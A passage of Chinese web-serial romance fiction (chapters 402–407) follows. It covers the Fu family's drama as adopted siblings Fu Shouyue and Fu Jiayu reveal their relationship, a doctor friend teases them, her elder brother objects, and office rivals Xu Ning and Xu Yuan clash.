张母正要开口说教,傅守越面色沉冷,他随意的瞥了眼四周的围观群众,众人被他这一眼看的很有压力,有人终于认出了傅嘉誉和傅守越就是那对上了热搜的兄妹忙捂着胸口激动到不行。 傅守越不冷不热的给张母提了个醒:“不知道这位上了年纪的阿姨听没听过天凉王破这种话,没听过也没关系,你们张家马上就会经历这些。” 现场有人噗嗤笑出声,显然是被傅守越这话逗笑了。 张母不明白更不懂,但直觉不是什么好话,什么叫张家马上就会经历这些?经历什么?她就去找傅嘉誉讨个公道为什么就到这份儿上了? 张母还懵着就见傅守越握住傅嘉誉的手要带人走,张母又要冲过去拦住两人,这件事没处理好之前她是绝不肯把人放走的。 傅守越微微扬眉,现场出现一名西装革履的文雅男子制住张母,傅守越看他一眼:“把人带到局子,你觉得现在这种情况适合给她定个什么罪都跟那边讲清楚,去把傅家的律师请来料理这案子。” 干脆利落,你也别想继续找茬,直接进去就老实了。 张母气急败坏不等怒骂几句就被助理绑住了手带走。 周围看热闹的学生有些吹了个口哨喊了句“酷”,还有些女生叽叽喳喳喊着“现实霸总文学”,多数都是十分羡慕的望着傅嘉誉。 傅嘉誉拽拽傅守越的衣袖,其实心里有些不大痛快,觉得这男人实在是太能招蜂引蝶了,几句话就让现场所有女生注意力都放到了他身上。 傅嘉誉撇撇嘴:“我腿疼。” 傅守越脸色顿时难看起来直接单膝跪地,周围一片哗然,却见傅守越仔细查看她的小腿,那本该白嫩的小腿此刻却是发红,像是被热汤烫的。 “怎么弄伤的。”他心疼的边问边把人抱进怀里。 “怎么现在才告诉我?疼不疼。”傅守越小心抱着她手躲开她小腿上被烫红的皮肤,周围起哄的人不少,还有人羡慕的星星眼录制视频。 傅嘉誉搂住他的脖子小声道:“我以为你能第一时间发现我受伤了呢,原来不能啊。” 第402章 亲密 “我的错,下次一定会注意。”傅守越是真的愧疚和心疼的。 “你还想我下次还受伤啊。”傅嘉誉拽着男人的脖子上的银链子,眸光闪了闪。 这条银链子是她幼时买下来送给他的,她记得银链子上有个椭圆形的相盒,里面是她曾自作聪明放了自己被傅守越抱在怀里的一张照片。 那张照片是什么样她记不大清了,但依稀有个大概印象,是她挑了一张自己觉得最好看的一张照片放进去。 那时候年纪实在是小,但是当时看了部电视剧说什么睹物思人,送给家人恋人情人礼物让对方看到礼物就能想到自己。 小孩子总是单纯的,她觉得看到礼物就想到自己,那干脆就送一张自己的照片好了。 幼时的傅嘉誉就这样专程挑了银链子还挑了自己一张大头照放到那银链子的相盒里送给傅守越。 这么多年过去了,只是没料到他还戴着这条银链子,银链子好像被他珍藏很久,依旧如新。 傅嘉誉手中握着那银链子,唇角却隐隐勾起一抹浅笑弧度,她的手心有些发凉,却还是小心翼翼钻进男人的衣领,傅守越脚步缓缓慢下来低头凝望她,“别闹。” 就闹。 傅嘉誉拽出装有照片的相盒,能感受到相盒上还沾有男人的温度,发凉的掌心似乎都被这相盒染的热烫起来。 “啪”她打开相盒,看到里面那张已经有些年代的照片,那个时候还很流行一些大头照,她放进去的就是这么一张照片,只是他戴了有些年头那照片已有些泛黄。 小小的照片上是一个扎着两个小辫笑的眼睛都弯起来的小女孩,她记得那两个小辫子还是傅守越给他梳的。 傅嘉誉眼眶有些发红,不知怎么的关上相盒不想看了就在他怀里低着头不发一言。 看到这些,难免想到傅守越抛下她出国念书那几年。 傅嘉誉一路都没吭声,傅守越小题大做一路开到江惊蛰的医院特意找了江惊蛰,惹得江惊蛰以为他出了什么事,临到了才知道是小公主烫伤了。 江惊蛰跟傅守越也是认识的,只是关系不如跟傅京礼那么好,但也算是朋友。 江惊蛰才下了手术台换好衣服,他有些疲惫的走到自己的办公室。 江惊蛰算是这群男人里面心最好的一个了,温文尔雅干净俊朗,像是天生带了一双琥珀色的笑眼没什么攻击力,看人时很温柔也最易让人放松警惕。 江惊蛰推门进来随意一扫知道了个大概取了酒精、烫伤药膏和纱布放到桌上,“怎么烫伤的?”说着用镊子夹取酒精棉清洗那片被烫红的肌肤,她似乎是有点疼,小腿抖了抖。 傅守越在一旁看的着急,“你轻点,她会疼!” 江惊蛰忍着冲动才没把那一罐酒精棉全砸他脸上,让他一个主心胸外科的医生在这里给他家不小心烫红小腿的小公主看病的没把他踹出去都是他有涵养。 江惊蛰没理傅守越用酒精棉擦拭一番把小腿上沾过热汤的地方都擦拭一遍涂抹了烫伤药膏又裹了层纱布包扎好这才笑的温柔要叮嘱傅嘉誉几句。 傅守越非常有先见之明的把傅嘉誉的脸转到自己这边让他温柔笑意扑了个空。 江惊蛰,“……” 但凡是江惊蛰这里的病患,大爷大妈都会想他变成自己女婿,年轻女性千金小姐都会暗生情愫觊觎他的美色想嫁给他,其中不乏有年轻男性被他这笑蛊惑整天问云医生考不考虑喜欢男人。 所以傅守越并不希望自己小未婚妻多看他一眼,江惊蛰在他这里就是个蛊惑人心的妖精玩意儿,人称外号江妲己。 傅守越大言不惭道,“包扎好了你就出去吧,我跟嘉誉还要谈些事顺便在这里休息休息。” 江惊蛰想把这人拉进医院黑名单并想跟此人绝交。 江惊蛰按了按眉心,“这是我的办公室。” 傅守越想也不想道,“你不是单身吗?” 这年头单身的就不是人了吗? “我单身跟我在我的办公室休息这冲突吗。”江惊蛰好脾气的询问。 傅守越道,“完全不冲突,但你随便找个休息间或者空病房都能休息。我们是情侣是恋人在你办公室休息做点什么亲密的事情也更隐秘,毕竟也没什么人会特意闯进来打扰你休息。不然你在门外看门也是可行的。” 江惊蛰,“……” 简直是不要脸到极点! 江惊蛰也就是看在傅嘉誉还在的份儿上且一直都是这个性子也不跟他争辩这些并且十分好心的取了份报告出了办公室靠在门外窗边看报告顺便计时看他什么时候滚蛋。 江惊蛰是真觉得自己的脾气可能也太好了点。 谈恋爱都谈到医院来还抢了他的办公室谈情说爱,傅守越也是个人才。 这群人脑子里都装了什么,脱个单谈个恋爱看把他们能的,盛景炎这样傅守越也这样,如果韩城韩越那群人恋爱还不变成人来疯? 江惊蛰一遍一遍的翻看报告,几个没了工作正准备换班下班的小护士在他身后走来走去就想多看他几眼,江惊蛰才下手术室没好好休息没那个心思跟谁寒暄,在报告书上做了些批注,又低头扫了眼表盘。 一个小时了。 江惊蛰脸色有点难看了。 这时间可是能做完全套了,傅守越那衣冠禽兽斯文败类还真在他办公室搞事? 等会儿? 休息了一个小时的江惊蛰怔住了 谁跟谁谈恋爱了? 江惊蛰也是才下手术室是真的累只想着休息脑子转慢了半拍,等反应过来后才意识到傅守越刚才那话是什么意思。 不是? 傅守越和傅嘉誉?在一起了?真的假的?不是兄妹吗?什么时候两人成了兄妹恋了? 傅京礼知道吗傅长海知道吗傅家老爷子知道吗! 这世界是真的疯了啊! 傅守越觉得只有自己知道这个事可能不太好,毕竟傅嘉誉也算是他看着长大的妹妹,傅守越监守自盗太过了……不告诉傅京礼他良心难安啊。 第403章 你房子塌了 江惊蛰给傅京礼发了条微信。 江惊蛰:你房子塌了。 正打算去医院跟江惊蛰谈事的傅京礼收到这条信息有点愣。 什么意思? 没等江惊蛰解释更多,门开了,还是傅守越抱着傅嘉誉。 江惊蛰眼神有些奇怪,一副欲言又止的模样,傅守越倒是没多想跟他道了谢这就打算带傅嘉誉离开医院。 听见他道谢江惊蛰面上的笑意更有几分僵硬,“不用谢。” 这三个字怎么听都有点咬牙切齿的意味儿,有点像说"赶紧滚"似的。 傅守越没多想,结果就听江惊蛰叫了保洁吩咐保洁把办公室整个全部消一遍毒,特别是沙发和那张床。 傅守越,“……”所以那三个字果然是让他赶紧滚的吧! 傅守越平日里沉冷优雅的人都有些恼羞成怒,“我什么也没干!” 他们就在里面坐着真休息了一个小时!傅嘉誉说很累就只是窝在他怀里睡了一个小时啊!连亲一下都没有!他也没有禽兽到在江惊蛰办公室乱搞啊! 江惊蛰仍旧笑的风度翩翩,“我说什么了吗?” “你不要思想太龌龊。”傅守越忍不下去想为自己的清白正名,他就是想也不会在这里胡来做那些事,未免太不把他当人看了。 江惊蛰浅浅的笑,“你道貌岸然衣冠禽兽又跟我有什么关系?” 江惊蛰取出一张名片,似乎是嫌这烫手一样塞进傅守越衣服口袋中,“有空去看看,提我名字打九折。” 傅守越是真觉得这人有病,且还病得不轻。 “我们做没做你进去闻一闻不就知道?”傅守越横抱着怀里完全不懂他们打什么哑谜的傅嘉誉据理力争。 江惊蛰双手插进白大褂的口袋中笑的风度翩翩,“我没有那个癖好。” 傅守越一口气没喘过来,又庆幸傅嘉誉听不懂他们在说什么,他思虑许久还是憋不住给他建议,“你少跟容浔学些乱七八糟的,离他远点。”越来越像那个不要脸的腹黑狐狸了。 说完这话傅守越实在是待不下去了抱着傅嘉誉打算走人。 江惊蛰叫住他开口:“你跟嘉誉,来真的?” 他说这话时眼神都有些怪怪的,显然看到他们两个一起成了恋人总觉得奇怪,但偏偏这两人还很般配。 “你还记得你们的关系吗。” 江惊蛰说到关键的点。 “你们的关系如果被捅出去的话你们想过后果吗。” 傅守越和傅嘉誉是兄妹关系,这么多年的兄妹关系,且傅家不是什么小家族,早就有其它家族甚至其它背景的想要追求傅嘉誉打算强强联合。 若是爆出两人关系再被有心人利用,傅家或许又要多一则丑闻。 他们的爱是真的,但是跟利益相关的,不知道那些人会做出什么事来。 盛世是针对傅家的,但盛景炎许愿那些人做不出这些龌龊事不代表旁的人做不出,近的就是被坑了一把的远程。 远程跟傅家是死敌,一直针对傅家,后来远程被许愿设计,远程现在杠不过盛世但许愿也是在傅氏待过的,远程大概会将这所有的一切都算到傅家身上。 而远的大概就是莱蒂斯了,莱蒂斯此人阴招太多,现在估计也不敢招惹许愿,但是傅氏……他应该不会放过了。 江惊蛰说的这些傅守越都懂。 就是因为懂所以才会躲了傅嘉誉很久躲到出国还是没能克制住自己对她的感情,他是没办法放开傅嘉誉的手的,他这辈子也没什么更高更远的追求了,只是希望能够扶着傅嘉誉坐到那个位置然后跟她在一起守着她,旁的什么都不去想了。 “我知道后果。” 傅守越低头看向身边的傅嘉誉,笑意温柔。 “如果嘉誉不喜欢我,对我没有感觉,我愿意就这样守着她一辈子不越界,但是我很幸运我爱的人也同样爱着我,所以未来有再多磨难我都能挺过去。” “我会想到嘉誉跟我提起喜欢确定关系的那天阳光有多灿烂,天气有多好,天气晴朗万里无云,我的爱人在身边,江惊蛰,你能懂吗。” 江惊蛰:“……” 对不起了,没谈过恋爱,唯一动过心的人离了婚又有了未婚夫还是没轮到他。 江惊蛰像是无奈又像是带着几分羡慕。 “挺好的。” 他是真的觉得挺好的。 酸是真的酸,祝福也是真的祝福。 傅嘉誉眼睛亮晶晶的,小鹿眼里面全都是傅守越。 她扯了扯傅守越的衣袖,难得声音都带了几分娇俏。 “哥,我也会记得我们在一起的这一天,你一定要一直爱我。” 没等傅守越回应,江惊蛰就眼角一抽。 “妹妹没事少看点短视频和言情,你脑子大概就是看这些看坏的。” 傅嘉誉:“……” 傅嘉誉瞪他一眼满脸不服。 “我没有,我还是年级最高分。” “是谁上台讲解自己小组的设计拿错U盘结果全系学生都知道傅家小姐喜欢看言情霸道总裁狠狠爱的?” 傅嘉誉:“……” 这种丢脸的事情真的要说吗? “也不全是霸总。”傅嘉誉据理力争。 江惊蛰戳破她:“哦对,还有不少兄妹恋的骨科的,妹妹你从小就玩得开啊,老早就惦记你哥了吧,我记得这事儿出来后傅京礼还特地开导你。” 傅嘉誉更觉丢人了。 废话,有事霸总文学有事骨科兄妹恋的,傅京礼看到能不慌吗,他真是有血缘的霸总哥哥啊! “傅京礼担心了一场最终还是没有白担心,妹妹还是爱上了哥哥,只不过是另一个哥哥,妹妹,该说不愧是你吗。” 傅嘉誉无言以对脸都红了。 如果现在手里有脚步,她是真的很想把江惊蛰嘴巴缠上的。 “还有这么多我不知道的事?”傅守越是真不知道这些:“再详细讲讲?” 江惊蛰瞥了傅嘉誉一眼,傅嘉誉有些可怜的望着他,求饶似的。 如果两人真在一起了,那还真有点傅守越不爱听的。 他轻咳一声:“那些你让嘉誉讲给你听,我一个外人不好提这些。” 第404章 有血缘的大哥就是血脉压制 傅守越明显眯了眯眼睛感觉到了不对。 什么话题能让江惊蛰这么谨慎? “回家讲给我听?”傅守越摸了把傅嘉誉的头,傅嘉誉有些心虚的用头蹭了蹭他的手。 江惊蛰捏了捏眉心。 算了,他们两个还是赶紧滚吧,看着小情侣在自己眼前闹心。 两人离开后保洁已经在消毒,江惊蛰接下来没有其他工作安排,晚上是约了傅京礼谈工作上的事。 才想了这么一下傅京礼的电话打来。 “你发的信息什么意思,什么叫我的房子塌了。” 江惊蛰也静默片刻。 “这两天我微博热搜你没看吗。” 就是看了才更觉得奇怪,除了傅嘉誉被张雨萌欺负这件事也没其他的了,他不是已经在处理这件事了?难道还有其他他不知道的事? “傅守越和傅嘉誉兄妹两人上热搜你不知道?” 傅京礼皱眉:“跟傅守越有什么关系热搜很正常,傅守越陪嘉誉追星。” 江惊蛰轻轻叹了口气。 “你没看评论吗,都说傅守越看嘉誉的眼神不清白。” “哥哥看妹妹的眼神,有哪里不对。”傅京礼淡淡的问。 行,看出来了,傅京礼是真不怎么懂爱的,不然也不会这几年都感觉不到自己对许愿的感情。 傅守越和傅嘉誉的眼神都要拉丝了,他竟然还说是哥哥看妹妹的眼神? 谁家哥哥拿这眼神看妹妹啊!那眼神就好像诉说着万千情意想下一秒就结婚那种。 “你会用这种眼神看嘉誉吗。”江惊蛰就这么一句话,傅京礼怔了一刻,终于明白江惊蛰说的那眼神是什么眼神了。 “傅守越和嘉誉在一起了?” 江惊蛰迷之沉默,但是沉默就已经是最好的回应了。 “我知道了,我会跟他们谈的。” 江惊蛰开口道:“别打起来。” “……”傅京礼顿了下:“但我听你的语气倒是很希望我们打起来。” 江惊蛰扶额。 他就是单纯觉得傅守越太得意了,很想让傅京礼教训他一顿。 “我先去找嘉誉,合作的事3晚点再谈。” 他跟江惊蛰的关系合作是一定会定下来的,不急于这一时,江惊蛰也知道这些,自然是赞同的。 江惊蛰挂断电话,却没看到不远处一道消瘦纤细的女性身影,她满眼都是恨意的望着这里,听到的那些消息几乎让她整个人嫉妒到发狂。 …… 因为傅嘉誉伤的是腿,所以傅守越抱着傅嘉誉往外走,傅嘉誉迷迷糊糊的故意转移话题提到之前傅守越和江惊蛰聊的那些话题问他,“刚才你跟他在聊什么啊。” 在聊我们有没有在他办公室做一些不可描述的事。 傅守越可不敢真对她说这话,他怕怀里新晋的小女朋友会生气发飙。 他斟酌片刻开口道道,“江惊蛰那人有洁癖,不喜欢别人去他办公室,我们在他办公室待太久所以他请了保洁给办公室做全面消毒。” 傅嘉誉倒是很理解,医生嘛,有点洁癖什么的还挺正常的,没洁癖才奇怪了。 其实傅守越也看出来傅嘉誉是在转移话题,他也不急于这一时问傅嘉誉在学校那些事,等回家后有的是时间哄她说出来。 见傅嘉誉没再继续问下去傅守越拍抚着她后背问她,“饿不饿,想吃点什么?要不要去华庭?” “我想去逛A大的小吃街,你抱着我逛。”她又想了下,“背着也行。” 看来张母那么一闹腾也没让她减了逛小吃街的兴致,没让她坏了心情就好。 “那里的东西都干净吗?大哥不是不让你吃外面的小吃?”他提到傅京礼,显然也是直到傅嘉誉跟他撒娇他会扛不住,而刚巧傅嘉誉真正怕的也只有傅京礼一人。 傅嘉誉没当回事,“爸又没在,偷偷吃他又不会知道。” 话音才落,不远处就传来一道带着凉意的声音。 “偷偷吃什么我不会知道。”来人自阴影中缓步走来,来人正是傅京礼。 傅嘉誉和张母那事儿被人拍了视频放到网络上,这样拙劣的手笔一瞧就是张母做出来的,不等网络上有人开骂傅京礼就将会议时间做了修改,并着人查到完整的视频传到网络上并追踪到张母派人联系公众号发布诋毁傅家言论的消息。 出了这种事他是一刻都待不住定了傅嘉誉的位置,这才瞧了这么一出。 傅京礼身影修长,总会无形中给人一股震慑人心的压迫感,傅守越自然也不矮,只是现在怀里抱着傅嘉誉,两人关系也是极好,但好归好,哪怕自小长大的交情也不能改变他拐走了傅嘉誉的事实。 而傅京礼才是傅嘉誉真正的有血缘关系的大哥。 傅守越喊了声大哥,傅京礼斜他一眼脸色十分难看。 “傅嘉誉,下来。”傅京礼开口就是发号施令,傅嘉誉怂哒哒的要从傅守越怀里下去,却被傅守越牢牢抱在怀里笑道,“大哥,嘉誉受了点伤不方便走路还是让我抱着她吧。” 傅守越这时也是真的勇。 傅京礼一脸谁是你大哥少胡乱认亲的表情,瞥见傅嘉誉小腿上裹的纱布忆起张母打翻的那份热汤面色更冷几分。 傅京礼上前一步,“江惊蛰说你们在一起了?是真的还是假的,我要听你们亲口说。” 傅守越和傅嘉誉全部在心里骂了江惊真很久,告状告的是真快。 傅嘉誉蔫吧的很,很是不敢对上傅京礼逼仄的视线,她是真的慌,就像是很久前看总裁兄妹文的时候被傅京礼知道一样丢人且忐忑。 傅守越是个不怕死的直接对上傅京礼,“是,我们在一起了。” 傅京礼又逼近一步,“把人给我。” 傅守越,“……” 怎么还带抢人的?是大哥了不起吗? 傅京礼又斜他一眼,“我在这里轮得到你占嘉誉便宜?” 好,你是有血缘的大哥你就是了不起! 傅守越憋气隐忍,这时候也确实不能杠,毕竟傅京礼才是傅嘉誉的哥哥。 傅京礼抱着自己妹妹冷笑了一声,这一笑愣是让傅嘉誉直接捂脸了,直觉告诉她,她哥应该是说不出什么好话的。 第405章 有病就看男科 “我记得你说过在你的心里嘉誉是你的亲妹妹,现在你跟你的亲妹妹在一起……你是想乱伦?”傅京礼一针见血的讽刺。 不等傅守越给出什么回答,傅京礼又问傅嘉誉:“那么喜欢看霸总兄妹文学,你对着我发誓保证代入的不是我是傅守越?” 一讽还讽两个。 嘴是真的毒。 不等傅守越解释,傅京礼又往他心口戳了一针,“不是说会一辈子守着嘉誉护着嘉誉?傅家送你出国结果就是回来乱伦?看来你在国外没学到什么好倒是把国外那开放混乱的情爱观念学了个透。” 傅守越笑意僵硬了下,“大哥,我和嘉誉已经说开了,我们之间没有血缘关系,而且我想这是我们之间的事。” 傅京礼低头看了龟缩着装自己不存在的妹妹一眼,“听到没有,还没怎么样我这个大哥已经问不得你们的事了。” 傅嘉誉撇撇嘴不吭声。 那谁让你说话这么难听啊。 她心里小声哔哔,但不敢吱声,他怕傅京礼再嘲讽自己几句,她玻璃心扛不住了,只能让傅京礼火力全对准她新上任的男朋友了。 傅京礼面色肃冷语气里带着刺,“你真的确定你喜欢嘉誉不带有任何私心?就算你能确定你自己的感情,你能保证嘉誉对你的感情是真的?” “嘉誉还年轻,你确定嘉誉真的定心了吗。” “如果以后嘉誉对你没了感情你要如何自处,真的还能像你当初承诺的那样继续守着她吗,还是说会因爱生恨?” “你该知道,傅家经不起更多变故了。” 傅京礼这一字一句的真像连捅了他几刀。 江惊蛰直到傅京礼飙车赶过来后早就出来看戏了,他在一旁听了许久了,觉得自己一直被人忽略也不是个事,他面上带着温柔笑意见缝插针来了一句,“傅京礼你也别这么说,傅守越也挺关心嘉誉的,刚还在我办公室两人单独待了整整一个小时照顾嘉誉呢。” 他说这话其实是想缓和气氛的,但这话吧,确实不是什么好话。 傅守越,“……”还嫌不够乱呢是不是! 这种事情就不必说出来了吧,你以为我不知道你是故意报复我?就因为我和嘉誉霸占了你的办公室你就在傅京礼这里告状?节操呢? 傅守越唇角抽搐,毫不意外对上傅京礼阴冷的目光,傅守越摸摸鼻子有些尴尬,“大哥,我什么都没做。”他自证清白。 “没亲?”傅京礼问的直白,在他怀里的傅嘉誉缩了缩脖子脸都红了,傅京礼觉得这群男人都把他当禽兽,他有口难言解释的十分苍白,“没有,真的没有。” 傅嘉誉在家里没休息好,去A大觅食就被张母找茬,她是真的很累,所以在办公室睡了一个小时。 傅京礼啧了一声倒是没说什么,只看他的眼神更加古怪,甚至还瞥了眼他脐下三寸似乎还有点鄙夷嫌弃。 傅京礼说道,“我约了人谈些工作,你们跟着一起来。” 本就是下午三点约了林先生见面,在这之后是跟江惊蛰谈一些合作上的事,现在倒好都碰到一起了干脆一起去等他谈完合作也能“聚一聚”。 江惊蛰后面没有手术安排自然应下,他下了手术台后没有立刻休息现在独自驾车就属于疲劳驾驶了,好在助理一直跟在身边还有个开车的人。 傅守越的助理早把张母折腾走了,这会儿只能自己开车,车子开到华庭门口,傅守越口袋里被江惊蛰塞进来的那张名片掉出来。 烫金的暗色花纹设计,一看就非常高大上……当然,如果不是上面介绍是男科医生他脸色也不会这么难看。 傅守越唇角狠抽了下,此时此刻彻底明白之前傅京礼看他那眼神什么意思了。 江惊蛰误会他不行,傅京礼误会他不行,他就不能十分珍惜傅嘉誉所以不想那么早把人糟蹋了吗!他就想等傅嘉誉真的想清楚了再跟她办婚礼结婚给她个完好的新婚夜有问题吗? 真以为他不想吗!他毕竟也是个正常男人啊! 傅守越心里暗咒几声眼睁睁看着自己的女朋友被傅京礼抱着进了华庭,十分心酸,傅嘉誉却是抬起小脑袋冲他来了个飞吻,傅守越心头瞬间熨帖几分。 傅京礼约来的这位林先生算是另一个圈层的,但只需傅京礼交出其他公司的几个小把柄就能逼得那些公司破产重组,有句话说得对,民不与官斗这话千百年来都是说得通的,随便一个政策下来立刻就能把你套牢。 傅京礼本也没想这么狠,但谁让张家那位当家主母太蠢,蠢了一次去傅家找茬,这次竟还疯到A大去找傅嘉誉本人甚至伤到傅嘉誉又害傅嘉誉上了热搜被人议论一波,这张氏是绝对留不得了。 傅京礼雷厉风行与那位林先生谈好接下来的一系列合作并将后面一年度的某项收益抽出百分之五上缴建立一些组织算是对上面的一些帮扶,两方相互也算相得益彰。 傅京礼谈完合作与林先生签了合同两人都没那个寒暄的心思各自散去。 傅京礼去了隔壁包间见江惊蛰和傅守越,江惊蛰和傅守越已经谈起后续合作事宜,这时候还不忘给傅嘉誉剥虾剔鱼刺倒也算体贴。 江惊蛰抬眼看见傅京礼有心使坏,“我突然想起一件事。” 他刚吃了口点心有些口干喝了茶水润润喉方才继续,“傅守越说单身的人没人权,傅京礼你怎么看。” 傅守越,“……” 故意的吧? 傅京礼面色很平静,“他说的没错,马上他也会恢复单身,跟我们一样没人权。” 傅嘉誉一口饮料喝下去被这话激的卡住嗓子咳个不停,傅守越赶紧拍着她后背安抚 ,傅嘉誉这才缓了劲儿,“大哥你这话什么意思,你要棒打鸳鸯吗。” 傅京礼面无表情,“听说过牛郎织女吗。” 傅嘉誉不服,“怎么大哥你要当西王母拆散我们吗。” 傅京礼眼神危险,“我倒是没有拆散你们的打算,只是我觉得你们可以在A市谈一段异地恋。” 人话? 第406章 我等着看你的下场 傅守越,“???” 我们人在A市为什么要谈异地恋! 傅京礼却觉得这想法很不错,“你们觉得一个月见一面这个提议怎么样。” 傅守越被噎了一下心道你又不跟我们住一起,等我搬到嘉誉对面一天见一次。 岂料傅京礼接下来的话直接将他所有计划都赌完了。 “我记得嘉誉租住的那套公寓有间空的客房,刚好你一个人住不安全,以后大哥跟你一起住那间公寓。” 傅嘉誉,“……” 傅守越,“……” 讲道理,亲爹都做不出这种事。 才开始恋爱第一次约会就被亲大哥抓包带着大哥一起约会现在更是被大哥强迫“异地恋”,不止傅守越,就连傅嘉誉都觉得有点苦。 江惊蛰一句话深藏功与名,笑话单身狗?你恋爱了又怎样,还不如单身狗。 …… 网络上张母作妖到A大又是找人拍摄视频后期剪辑把自己剪成受害者又是撒泼打滚逼着傅家原谅,等完整视频被放出来后网友们不得不叹服张雨萌变成这样还真是多亏了她的生身母亲,被这样的母亲养大耳濡目染的能长成个正常人?那绝没可能的。 张家这一系列奇葩事迹冲上热搜众人直喊六六六,甚至将张家和许家放一起觉得这两家荒唐到一起,连带着又把许家带上热搜。 傅氏。 后勤部门的员工都是走后门进来的,此刻已经凑到一起讨论着网络的热搜,提到张家自然免不了提到许家。 “说起张家那颗不得不提起许家了,两家能养出这样疯起来没有三观的人,说着是什么世家,内里不知道是多脏多臭呢。” 提起这话的也是个小家族的,她倒不是因为跟许愿关系好才说这个,纯粹是喜欢聊八卦为人刻薄罢了。 这次她本打算让自己的家人耍点手段成为后勤部经理,谁能想到中间插进来一个许宁,一个只知道勾引傅京礼的贱人小三,她当时就恨上了,能有嘲讽许宁的机会她是绝不会轻易放过的 她是看到许宁从外面回来故意挑了这个时间说这话,就是想让她听见难堪的。 许宁脚步怔了下,面色阴沉的盯了她几眼。 长发女人高成美哼了一声,看着要多得意有多得意。 许宁完全不压着自己的火气,冲过去一耳光狠狠甩到高成美脸上,被打的连连后退的高成美都惊了。 “你疯了吗!你凭什么打我!你以为你是谁!你有什么权利!你就是个小三的女儿!知道什么是小三吗!是这世界上最恶心最被人唾弃……啊!你竟然还敢打我!许宁!” 没等高成美骂完,许宁又是狠狠一耳光甩过去,直把她的脸都打肿了。 高成美捂着脸满脸狰狞的恨意。 “许宁!我是高家人,你敢动我我是绝不会放过你的!” “高家?”许宁嗤笑连连。 “许愿都没办法对付我,你以为你算什么东西能跟我杠。”许宁一步一步走近高成美压低声音冷嘲:“无论我做任何事傅京礼都会护着我,你可以试试看你欺负我的代价,也可以看一看我对付你后倒霉的会是谁,你要试吗,你敢试吗。” 高成美瞳孔都在震颤着。 “傅京礼那么爱许愿都能为了我得罪许愿,你呢?你配跟许愿相提并论吗。” 许宁是疯子,她就是想将自己跟许愿放到一起,这会让她非常得意。 许愿那么优秀那么多人爱慕,在她心里却还是被傅京礼抛弃的女人有过一段失败的婚姻,不论她现在国的多幸福也改变不了过去的事实,而造成这一切的罪魁祸首是她许宁。 “是你害的许愿离开了傅氏,你为什么还能大言不惭的说出这样丧良心的话!” 高成美都被气的想要破口大骂。 许宁咯咯冷笑,倏地却感觉浑身发凉。 她陡然转身,正对上许愿冰冷不带有半分感情的凉薄双眼。 她一激灵,整个人都有些应激的后退几步。 吹牛算吹牛,但真遇到许愿她内心还是犯怵的,因为现在的她跟许愿已经不算是同一阶层的人了,许愿自己跨越了阶层成为资本,若非傅京礼念着那些感情她早就不知道被人设计过多少次了。 后勤部众人也是认识许愿的,纷纷谨慎小心的喊了句“许总”。 许愿面色平淡的瞥了许宁一眼,许宁被她淡漠的眼神看的内心发慌。 “许宁,你很得意吗。” 许愿抬眸,眼底的凉意根本藏不住。 “许总!许宁刚才说傅总为了她能得罪您,说得罪了您也能不受到任何伤害,我作证,这都是许宁的原话!” 高成美冲出来指着许宁,恨不能许愿现在就上去给许宁几耳光号为她报仇。 许宁暗恨的瞪着高成美,转身就要回自己的办公室,根本不敢多做停留。 但还是听到许愿的声音缓缓传来。 “许宁,傅京礼答应娶你了吗。” 这句话仿佛变成凶猛的武器戳到她心口搅动着她的伤处让她不停痛呼出声。 “不知道傅京礼究竟欠了你什么,如果是恩情,恩情总有消磨殆尽的一天。” “你可以继续尝试得罪你的身边人,等到傅京礼不再庇护你,那将是你噩梦的开始。” “我不出手,自然会有人出手。” 许愿声音淡淡的好像没有情绪,却让许宁浑身发冷。 “许宁,我等着看你的下场。” 许宁终于忍不住转身怒吼:“闭嘴!你给我闭嘴!我和傅京礼之间的事用不着你来多嘴!” 后勤部的员工都没有动地方,似乎都想看许宁如何反击。 许愿却没有任何回应,她仍是那副淡淡的模样,但是身上自带的强大气场让人无法忽略。 但是后勤部员工已经看到了傅京礼的身影,顿时全都回了原位。 平日里傅京礼什么时候来过后勤部?明显是为了许愿来的! 许宁浑身开始冒冷汗,已经不敢说话了。 傅京礼看都没看许宁,目光一直落在许愿身上,他逐步走到许愿身边,放轻声音低声询问。 “不是说来找我,怎么来了这里。” 第407章 证据被销毁了 “听到后勤部的争执无聊来看看热闹。” 许愿声音平淡。 后勤部在傅氏大楼一层,许宁和高成美没有关门又那么大声,旁的部门听到早就出来看热闹,许愿只是听人提起许宁和高成美起了争执才来了那么点心思看一看。 “没想到我离开傅氏后,傅氏果然热闹,选人都没有条件了,什么人都能进。” 许愿这话说的明显是许宁,许宁却只能憋着气隐忍,她不想在傅京礼面前丢人。 傅京礼对此沉默,许愿早就清楚傅京礼会护着许宁,她已经不像从前还会难过,现在的她无感了。 她并不在这里多待转身离开,傅京礼跟在她身后离开 许宁站在原地眸光晦涩。 高成美一直没动地儿,此刻嗤笑连连。 “有些人啊,总说的自己多厉害似的,其实傅总根本理都不想理她呢,还真当自己是盘菜了。” “傅总如果真的在乎你,在你来后勤部当天就会陪着你来,而不是让容浔带你来,再看许愿呢?许愿来傅氏傅总特地下来迎接,这待遇可完全不一样呢。” “果然私生女就是私生女,永远比不上嫡系血脉。” “下贱东西就是下贱东西,上不得台面,谁也瞧不上。” “如果我是你,我就会躲起来藏起来,省的让人看到我还要平白被啐一口。” 许宁眼睛都是红的,全是被气的,她死死盯着高成美,咬牙切齿:“我才是许镇江的女儿,许愿体内流着的根本就不是许家人的血!” 高成美嘲讽:“是啊,就因为流着的不是许家人的血所以才会如此优秀,如果真的是许镇江的后代,岂不是和你一样了。” “还有,不论许愿是谁的孩子,你许宁永远都是私生女,许镇江娶的那位叫“苏青莲”,而你的母亲就是个小三,是许镇江婚外情的女人,这样的事实你永远都无法改变。” “你给我闭嘴!”许宁冲过去几乎想要撕烂高成美的嘴。 高成美薅住许宁的头发恶意满满:“我警告你,少来动我,你也不想让傅京礼知道你私底下是个什么恶心东西吧,许愿可还在傅氏呢,你再敢动我我真的会去找许总,许总来了傅总一定会来,到时候你那温柔小意的虚伪面具还带的上吗。” 许宁脸色发青,这次却不敢还手了。 后勤部的人小声议论着嘲讽着,许宁不用想都知道那群人在嘲讽自己。 许宁红着眼眶,高成美得意的将许宁甩到地上这才回了自己的位置选了部电视剧开始看,完全不顾许宁阴毒的双眼。 许宁扛不住周围这群人异样的眼神,飞速的回到办公室,将办公室的门锁起来,险些哭出声。 她开着电脑,目光落在电脑界面。 傅守越找她商量要设计傅氏,这些天她一直隐忍着找着借口没敢真的背叛傅京礼。 在她心里傅京礼再如何也算是她曾爱过的男人,所以她真的不想过于狠心,可现在……她已经不想再给傅京礼留有余地了。 